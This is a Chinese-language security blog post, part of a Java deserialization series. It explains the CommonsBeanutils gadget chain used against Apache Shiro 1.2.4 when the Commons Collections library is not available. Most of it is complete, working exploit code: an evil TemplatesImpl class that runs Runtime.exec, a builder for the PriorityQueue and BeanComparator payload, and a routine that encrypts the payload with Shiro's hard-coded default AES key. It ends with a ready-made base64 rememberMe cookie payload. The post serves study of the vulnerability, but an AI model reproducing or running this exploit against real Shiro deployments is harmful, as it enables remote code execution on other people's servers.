Java反序列化(八) | CommonsBeanutilsShiro
CommonsBeanutilsShiro
需要知道
-
我们使用优先队列构造的CommonsBeanutils链默认情况下是需要依赖CC包的, 所以在Shiro原生的情况下我们需要对初步构造的CB链进行一些修改
-
ysoserial 中的CommonsBeanutils1.java我们是不可用的, 因为里面使用的依赖包有:
-
commons-beanutils:commons-beanutils:1.9.2
-
commons-collections:commons-collections:3.1
-
commons-logging:commons-logging:1.2
可见使用到CommonsCollections包, 此外还有一个问题就是这里用的CB依赖版本为1.9.2 , 但是我们在Shiro-1.2.4中默认的CB依赖版本为1.8.3 。
-
JavaBean & PropertyUtils
CB包中的PropertyUtils实际上是为了优化Java的Bean结构的而其中的getProperty函数通过有两个对象, 第一个为Object bean
, 第二个为String name
, 作用是获取bean对象中的name参数, 但是Javabean结构获取对象的方法并不是直接获取参数, 而是通过getName()
这种方式获取到成员变量。所以PropertyUtils.getProperty
就是执行bean中的getName
函数并将得到的结果返回.
相当于:
public static Object getProperty(Object bean, String name){
return bean.getName();
}
需要注意的一点是PropertyUtils.getProperty
执行的bean.getName
是将我们传入的第二个参数name
中的第一个字母专为大写,例如:
执行代码:
TemplatesImpl template = new TemplatesImpl();
Object end = PropertyUtils.getProperty(templates, "outputProperties");
实际执行:
Object end = templates.OutputProperties();
PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties")代码获取outputProperties的执行过程:
org.apache.commons.beanutils.PropertyUtils#getProperty
org.apache.commons.beanutils.PropertyUtilsBean#getProperty
org.apache.commons.beanutils.PropertyUtilsBean#getNestedProperty
org.apache.commons.beanutils.PropertyUtilsBean#getSimpleProperty
org.apache.commons.beanutils.PropertyUtilsBean#getPropertyDescriptor
org.apache.commons.beanutils.PropertyUtilsBean#getReadMethod
org.apache.commons.beanutils.PropertyUtilsBean#invokeMethod
#就是上面的invokeMethod进行了反射调用了TemplatesImpl#OutputProperties
CC3的TemplatesImpl(后)
CC3中可动态加载类的TemplatesImpl
就有getOutputProperties 函数, 这个可以说是非常理想了, 因为从上面我们可以知道我们可以通过CB包中的PropertyUtils#getProperty调用到TemplatesImpl#getOutputProperties, 而在这里面由调用了TemplatesImpl自己的newTransformer函数。我们知道, 执行了TemplatesImpl#newTransformer实际上就是进入了CC3, 所以可以作为参考点。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
因为TemplatesImpl#getOutputProperties
符合JavaBean的获取内容的函数格式, 所以当我们使用PropertyUtils#getProperty
函数获取TemplatesImpl
对象的outputProperties
成员时就会反射调用到TemplatesImpl#getOutputProperties
然后调用TemplatesImpl#newTranformer
执行CC3的反序列化调用部分造成任意类的动态加载。
CB中调用getProperty(中)
在上面我们找到了调用链的最后环节:通过调用TemplatesImpl#newTranformer动态加载类, 而进入这个最后环节的入口就是PropertyUtils#getProperty方法, 所以我们下一步需要找到调用这个方法的入口。
来到CommonsBeanutils中寻找一下调用了PropertyUtils#getProperty
的函数方法然后在CB包中的BeanComparator#compare
调用了getProperty, 所以下面找一下哪里调用了compare
函数
优先队列调用compare(前)
早在CC2的时候我们就找过了compare的调用方法: 优先队列PriorityQueue反序列化的时候调用了compare函数, 所以我们可以直接使用优先队列作为反序列化的出发点
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDownUsingComparator
code: comparator.compare((T) c, (T) es[right]) > 0)
CommonsBeanutils(前+中+后) - Gadget
所以我们可以将优先队列作为触发点进行三级跳板执行代码:
- 优先队列PriorityQueue反序列化执行
comparator.compare
进入CB - org.apache.commons.beanutils.BeanComparator#compare
- BeanComparator#compare执行getProperty 反射调用TemplatesImpl#getOutputProperties
- 执行
TemplatesImpl#newTransformer
进入CC3的动态加载恶意类环节执行恶意代码
Gadget
PriorityQueue.comparator = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
Gadget:
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDownUsingComparator
org.apache.commons.beanutils.BeanComparator#compare
org.apache.commons.beanutils.PropertyUtils#getProperty
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
注:TemplatesImpl为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
CommonsBeanutilsShiro
如果直接构造CB链去打Shiro的话会失败并且在后台看到报错显示无法加载CC依赖中的一个类, 这是因为我们使用默认的单参数构造函数的话会在后面使用生成一个CC包中的对象并将这个对象序列化, 所以在后面反序列化的时候加载这个CC对象就需要用到CC的依赖包,但是我们在没有任何添加的情况下是没有CC依赖的,所以就导致失败报错, 这个CC包依赖中的对象是org.apache.commons.beanutils.BeanComparator
ComparableComparator的3个构造函数:
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
我们如果选择单参数构造函数就会使用CC依赖中的对象所以反序列化失败报错, 而不会执行我们的命令, 但是我们可以看到第三个构造函数, 这里我们是可以自己传入一个Comparator对象代替原本的CC依赖对象的。
解决方法:
我们选择第三个构造函数
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
但实际上Comparator是一个接口, 所以我们需要传入一个它的实现类
此外我们还选择的这个实现类还必须继承了serializable,所以我们取两者交集即可。
查找方法交集:
- 找出
Comparator
接口的实现类作为class1 - 找出继承了serializable的实现类作为class2
- 将class1和class2分别写入文件然后通过python脚本找到它们的交集
得到的满足条件的交集类会有很多, 我们选择其中一个即可, 这里我们使用com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare
, 最后得到代码:
POC
下面是项目结构, 我们最终运行的是Get_poc.java中的main函数
/POC_macker/CBShiro/Evil.java
package POC_macker.CBShiro;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
POC_macker/CBShiro/CommomsBeanutilsShiro.java
package POC_macker.CBShiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommomsBeanutilsShiro {
public static PriorityQueue getPayloadObject() throws Exception {
return get_PriorityQueue(
get_BeanComparator(), get_TemplatesImpl(
get_Evil_clazz(Evil.class)
)
);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static CtClass get_Evil_clazz(Class Class) throws NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Class.getName());
return clazz;
}
public static TemplatesImpl get_TemplatesImpl(CtClass clazz) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
// PropertyUtils.getProperty(templates,"outputProperties");
return templates;
}
public static BeanComparator get_BeanComparator() throws Exception {
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
System.out.println("已选择使用AttrCompare构造BeanComparator,无需CC依赖");
// BeanComparator beanComparator = new BeanComparator();
// System.out.println("使用默认构造函数创建BeanComparator,需要CC依赖");
setFieldValue(beanComparator,"property","outputProperties");
// beanComparator.compare(templates,1);
return beanComparator;
}
public static PriorityQueue get_PriorityQueue(BeanComparator beanComparator, TemplatesImpl templates) throws Exception {
PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(priorityQueue,"comparator",beanComparator);
setFieldValue(priorityQueue,"size",2);
Object[] ints = {templates,templates};
setFieldValue(priorityQueue,"queue",ints);
// priorityQueue.poll();
return priorityQueue;
}
public static byte[] get_ObjectToByteArray(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
public static void serialize(Object object,String name) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
objectOutputStream.writeObject(object);
objectOutputStream.flush();
objectOutputStream.close();
}
public static void serialize(Object object) throws IOException {
serialize(object,"./poc.bin");
}
public static void unserialize(String name) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
// 想要测试的话注释掉下面的反序列化函数readObject即可
Object get_object = objectInputStream.readObject();
}
public static void unserialize() throws IOException, ClassNotFoundException {
unserialize("./poc.bin");
}
}
POC_macker/CBShiro/Get_poc.java
package POC_macker.CBShiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.PriorityQueue;
public class Get_poc {
public static void main(String[] args) throws Exception {
PriorityQueue payloadObject = CommomsBeanutilsShiro.getPayloadObject();
byte[] payloadByte = CommomsBeanutilsShiro.get_ObjectToByteArray(payloadObject);
String payload = encrypt(payloadByte,"kPH+bIxk5D2deZiIxcaaaA==");
System.out.println(payload);
}
public static String encrypt(byte[] plaintext, String _key){
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(_key);
ByteSource ciphertext = aes.encrypt(plaintext, key);
return ciphertext.toString();
}
}
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
代码已上传到github上: 传送门
CC2 && CB && CC3 间的关系
CC2和CB的链子几乎一样,就是中间部分由CC包中的TransformingComparator换成了CB包中的
啊呃嗯。。。所以说,实际上CB链和CC2的起始点和终点都是一样的,区别在于调用compare
函数的comparator对象不一样, 实际上CB环节只有中间部分是自己的:
CC2: 优先队列 PriorityQueue
CB : BeanComparator
CC3: TemplatesImpl
CommonsCollections2
Gadget:
CC2 : PriorityQueue.comparator = org.apache.commons.collections.comparators.TransformingComparator
Gadget:
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDownUsingComparator
org.apache.commons.collections.comparators.TransformingComparator#compare
org.apache.commons.collections.Transformer#transform
在CC2中我们就是使用优先队列PriorityQueue
并且让它的comparator
成员为org.apache.commons.collections.comparators.TransformingComparator
,
TransformingComparator的compare方法会调用transform
函数
org.apache.commons.collections.comparators.TransformingComparator#compare
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在这里写一下CC的一些出发点吧:
- HashMap.readObject
- PropertyUtils.readObject
- AnnotationInvocationHandler => LazyMap
- AnnotationInvocationHandler => TransformedMap
- HashTable.readObject
- BadAttributeValueExpException